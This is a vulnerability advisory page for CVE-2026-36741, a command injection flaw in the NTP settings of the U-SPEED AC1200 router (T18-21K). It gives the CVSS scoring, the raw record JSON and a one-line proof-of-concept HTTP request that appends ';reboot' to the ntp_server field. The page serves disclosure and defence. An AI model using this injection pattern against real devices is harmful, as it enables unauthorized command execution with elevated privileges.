Security Vulnerability Report
中文
CVE-2026-36741 CVSS 7.2 HIGH

CVE-2026-36741

Published: 2026-05-13 16:16:41
Last Modified: 2026-05-14 13:16:17

Description

U-SPEED AC1200 Gigabit Wi-Fi Router (Model: T18-21K) V1.0 is vulnerable to Command Injection. The Network Time Protocol (NTP) configuration interface does not properly sanitize user-supplied input. An authenticated user with permission to configure NTP settings can inject arbitrary system commands through crafted input fields. These commands are executed with elevated privileges, leading to potential full system compromise.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

U-SPEED AC1200 Gigabit Wi-Fi Router (T18-21K) V1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
POST /cgi-bin/ntp_config.cgi HTTP/1.1 Host: <target_ip> Cookie: session_id=<authenticated_session> ntp_server=pool.ntp.org;reboot&timezone=UTC

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36741", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:40.840", "lastModified": "2026-05-14T13:16:17.373", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "U-SPEED AC1200 Gigabit Wi-Fi Router (Model: T18-21K) V1.0 is vulnerable to Command Injection. The Network Time Protocol (NTP) configuration interface does not properly sanitize user-supplied input. An authenticated user with permission to configure NTP settings can inject arbitrary system commands through crafted input fields. These commands are executed with elevated privileges, leading to potential full system compromise."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/N0tMilk/vulnerability-research", "source": "[email protected]"}, {"url": "https://github.com/N0tMilk/vulnerability-research/tree/main/IoT/CVE-2026-36741", "source": "[email protected]"}, {"url": "https://github.com/N0tMilk/vulnerability-research/tree/main/IoT/CVE-2026-36741", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}